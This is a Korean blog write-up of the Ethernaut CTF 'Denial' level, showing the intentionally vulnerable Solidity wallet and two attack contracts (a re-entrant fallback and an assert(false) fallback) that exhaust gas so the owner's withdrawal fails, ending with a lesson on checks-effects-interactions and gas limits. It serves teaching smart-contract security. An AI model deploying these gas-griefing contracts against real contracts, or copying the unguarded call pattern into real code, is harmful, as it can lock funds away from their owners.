[Ethernaut CTF] Denial

0xDave·2022년 10월 11일
0

Ethereum

목록 보기
41/112

소스코드


// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

해결과제


This is a simple wallet that drips funds over time. 
You can withdraw the funds slowly by becoming a withdrawing partner.

If you can deny the owner from withdrawing funds when they call withdraw() 
(whilst the contract still has funds, and the transaction is of 1M gas or less) 
you will win this level.

owner에게 돈을 안 보내면 통과


해결과정


withdraw() 함수를 보면 조금 이상하다는 것을 알 수 있다. 첫 번째는 receipt의 잔고를 먼저 확인하지 않는다. 보통 보내려고 하는 양보다 더 보내지 않으려고 Check Effect Interaction 패턴을 따른다. 두 번째는 partner와 owner에게 보내는 송금 방법이 다르다는 것이다. partner에게는 call을 통해 송금하고, owner에게는 transfer로 송금한다.


call vs transfer

이더를 보내는 방법은 아래 3가지로 나뉜다. 가장 큰 특징은 boolean을 리턴하는지와 제한된 gas를 사용하는지다. call과 transfer는 두 가지 측면에서 모두 다르다.

owner에게 돈을 안 주려면

현재 드는 생각은 transfer는 불가능하지만 call은 가능하게 하려면 당연히 gas fee를 높게 쓰면 되지 않을까 싶다. withdraw() 함수를 호출할 때 gas fee를 높게 잡고 data도 작성해주면 되지 않을까?

두 가지 방법

첫 번째 방법은 Re-entrency 공격을 하는 것이다. fallback 함수를 통해 계속해서 withdraw()를 호출한다면 컨트랙트 안에 있는 gas는 매우 빠르게 소진될 것이다. 따라서 결국 owner에게 이더를 보낼 수 없을 것이다.

contract Attack{
    Denial target;

	constructor(address instance_address) public{
        target = Denial(instance_address);
    }

    function attack() public {
        target.setWithdrawPartner(address(this)); 
        target.withdraw();
    }

    function () payable public {
        target.withdraw();
    }
}

두 번째 방법은 assert(false) 를 이용하는 것이다. Error handling에는 3가지 종류가 있다. revertrequire는 모든 상태를 되돌리고 남은 gas를 환불한다. 하지만 assert는 남은 gas를 소진하기 때문에 call을 호출할 때 gas를 모두 써버리고 결국 transfer는 실행되지 않을 것이다.

contract Attack{
    Denial target;

	constructor(address instance_address) public{
        target = Denial(instance_address);
    }

    function attack() public {
        target.setWithdrawPartner(address(this)); 
        target.withdraw();
    }

    function () payable public {
        assert(false);
    }
}

이번 문제에서 얻을 수 있는 교훈은 이더를 송금할 때 Check Effect Interaction 패턴을 적용하는 것의 중요성과 call 함수를 사용할 때 gas 한도를 설정해서 외부에서 함수를 호출할 때 모든 가스를 소진하는 일이 없도록 해야 한다는 것이다.


참고자료 및 출처


  1. Ethernaut CTF - Denial (Level 20)
profile
Just BUIDL :)

0개의 댓글